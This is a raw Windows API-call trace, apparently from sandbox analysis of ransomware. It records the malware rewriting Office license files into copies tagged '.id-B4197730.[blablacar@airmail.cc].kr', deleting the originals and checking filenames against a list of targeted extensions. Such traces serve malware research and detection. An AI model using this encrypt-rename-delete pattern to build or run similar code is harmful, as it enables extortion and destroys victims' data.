GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.423] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.423] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.426] GetLastError () returned 0x0 [0198.426] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x54e9, lpOverlapped=0x0) returned 1 [0198.439] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x54f0, lpOverlapped=0x0) returned 1 [0198.441] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.441] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x128, lpOverlapped=0x0) returned 1 [0198.441] SetEndOfFile (hFile=0x3f8) returned 1 [0198.441] CloseHandle (hObject=0x3f8) returned 1 [0198.442] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.442] SetEndOfFile (hFile=0x548) returned 1 [0198.500] CloseHandle (hObject=0x548) returned 1 [0198.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0198.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.502] lstrlenW (lpString=".doc") returned 4 [0198.502] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.502] lstrlenW (lpString=".docx") returned 5 [0198.502] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.502] lstrlenW (lpString=".pdf") returned 4 [0198.502] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.502] lstrlenW (lpString=".xls") returned 4 [0198.502] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.502] lstrlenW (lpString=".xlsx") returned 5 [0198.502] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.502] lstrlenW (lpString=".ppt") returned 4 [0198.502] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.502] lstrlenW (lpString=".zip") returned 4 [0198.502] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.502] lstrlenW (lpString=".rar") returned 4 [0198.502] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.502] lstrlenW (lpString=".bz2") returned 4 [0198.502] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.502] lstrlenW (lpString=".7z") returned 3 [0198.502] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.503] lstrlenW (lpString=".dbf") returned 4 [0198.503] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.503] lstrlenW (lpString=".1cd") returned 4 [0198.503] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.503] lstrlenW (lpString=".jpg") returned 4 [0198.503] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.503] lstrlenW (lpString=".doc") returned 4 [0198.503] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString=".docx") returned 5 [0198.503] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.503] lstrlenW (lpString=".pdf") returned 4 [0198.503] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString=".xls") returned 4 [0198.503] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString=".xlsx") returned 5 [0198.503] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.503] lstrlenW (lpString=".ppt") returned 4 [0198.503] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.503] lstrlenW (lpString=".zip") returned 4 [0198.503] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString=".rar") returned 4 [0198.503] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.503] lstrlenW (lpString=".bz2") returned 4 [0198.504] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.504] lstrlenW (lpString=".7z") returned 3 [0198.504] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.504] lstrlenW (lpString=".dbf") returned 4 [0198.504] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.504] lstrlenW (lpString=".1cd") returned 4 [0198.504] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0198.504] lstrlenW (lpString=".jpg") returned 4 [0198.504] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.504] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.504] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45 [0198.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.506] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11669) returned 1 [0198.506] CloseHandle (hObject=0x548) returned 1 [0198.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0198.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.507] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.507] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.508] GetLastError () returned 0x0 [0198.508] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d95, lpOverlapped=0x0) returned 1 [0198.513] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2da0, lpOverlapped=0x0) returned 1 [0198.514] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.514] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x12e, lpOverlapped=0x0) returned 1 [0198.514] SetEndOfFile (hFile=0x4d4) returned 1 [0198.515] CloseHandle (hObject=0x4d4) returned 1 [0198.515] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.515] SetEndOfFile (hFile=0x548) returned 1 [0198.522] CloseHandle (hObject=0x548) returned 1 [0198.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0198.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.524] lstrlenW (lpString=".doc") returned 4 [0198.524] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.524] lstrlenW (lpString=".docx") returned 5 [0198.524] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.524] lstrlenW (lpString=".pdf") returned 4 [0198.524] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.524] lstrlenW (lpString=".xls") returned 4 [0198.524] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.524] lstrlenW (lpString=".xlsx") returned 5 [0198.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.524] lstrlenW (lpString=".ppt") returned 4 [0198.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.524] lstrlenW (lpString=".zip") returned 4 [0198.524] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.524] lstrlenW (lpString=".rar") returned 4 [0198.524] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.524] lstrlenW (lpString=".bz2") returned 4 [0198.524] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.525] lstrlenW (lpString=".7z") returned 3 [0198.525] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.525] lstrlenW (lpString=".dbf") returned 4 [0198.525] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.525] lstrlenW (lpString=".1cd") returned 4 [0198.525] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.525] lstrlenW (lpString=".jpg") returned 4 [0198.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.526] lstrlenW (lpString=".doc") returned 4 [0198.526] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.526] lstrlenW (lpString=".docx") returned 5 [0198.526] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.526] lstrlenW (lpString=".pdf") returned 4 [0198.526] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.526] lstrlenW (lpString=".xls") returned 4 [0198.526] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.526] lstrlenW (lpString=".xlsx") returned 5 [0198.526] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.526] lstrlenW (lpString=".ppt") returned 4 [0198.526] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.526] lstrlenW (lpString=".zip") returned 4 [0198.526] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.526] lstrlenW (lpString=".rar") returned 4 [0198.526] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.526] lstrlenW (lpString=".bz2") returned 4 [0198.526] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.526] lstrlenW (lpString=".7z") returned 3 [0198.526] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.526] lstrlenW (lpString=".dbf") returned 4 [0198.526] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.526] lstrlenW (lpString=".1cd") returned 4 [0198.526] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0198.527] lstrlenW (lpString=".jpg") returned 4 [0198.527] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.527] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.527] lstrlenW (lpString="HomeStudentR_Grace-ppd.xrm-ms") returned 29 [0198.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.528] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=21546) returned 1 [0198.528] CloseHandle (hObject=0x548) returned 1 [0198.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220 [0198.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0198.924] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.924] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.927] GetLastError () returned 0x0 [0198.927] ReadFile (in: hFile=0x558, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x542a, lpOverlapped=0x0) returned 1 [0198.929] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5430, lpOverlapped=0x0) returned 1 [0198.931] ReadFile (in: hFile=0x558, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.931] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10e, lpOverlapped=0x0) returned 1 [0198.931] SetEndOfFile (hFile=0x55c) returned 1 [0198.931] CloseHandle (hObject=0x55c) returned 1 [0198.931] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.931] SetEndOfFile (hFile=0x558) returned 1 [0198.935] CloseHandle (hObject=0x558) returned 1 [0198.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1 [0198.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.937] lstrlenW (lpString=".doc") returned 4 [0198.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.937] lstrlenW (lpString=".docx") returned 5 [0198.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.937] lstrlenW (lpString=".pdf") returned 4 [0198.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.937] lstrlenW (lpString=".xls") returned 4 [0198.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.937] lstrlenW (lpString=".xlsx") returned 5 [0198.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.937] lstrlenW (lpString=".ppt") returned 4 [0198.937] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.937] lstrlenW (lpString=".zip") returned 4 [0198.937] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.937] lstrlenW (lpString=".rar") returned 4 [0198.937] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.937] lstrlenW (lpString=".bz2") returned 4 [0198.937] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.937] lstrlenW (lpString=".7z") returned 3 [0198.937] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.937] lstrlenW (lpString=".dbf") returned 4 [0198.937] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.937] lstrlenW (lpString=".1cd") returned 4 [0198.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.938] lstrlenW (lpString=".jpg") returned 4 [0198.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.938] lstrlenW (lpString=".doc") returned 4 [0198.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString=".docx") returned 5 [0198.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.938] lstrlenW (lpString=".pdf") returned 4 [0198.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString=".xls") returned 4 [0198.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString=".xlsx") returned 5 [0198.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.938] lstrlenW (lpString=".ppt") returned 4 [0198.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.938] lstrlenW (lpString=".zip") returned 4 [0198.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString=".rar") returned 4 [0198.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString=".bz2") returned 4 [0198.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.938] lstrlenW (lpString=".7z") returned 3 [0198.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.939] lstrlenW (lpString=".dbf") returned 4 [0198.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.939] lstrlenW (lpString=".1cd") returned 4 [0198.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0198.939] lstrlenW (lpString=".jpg") returned 4 [0198.939] 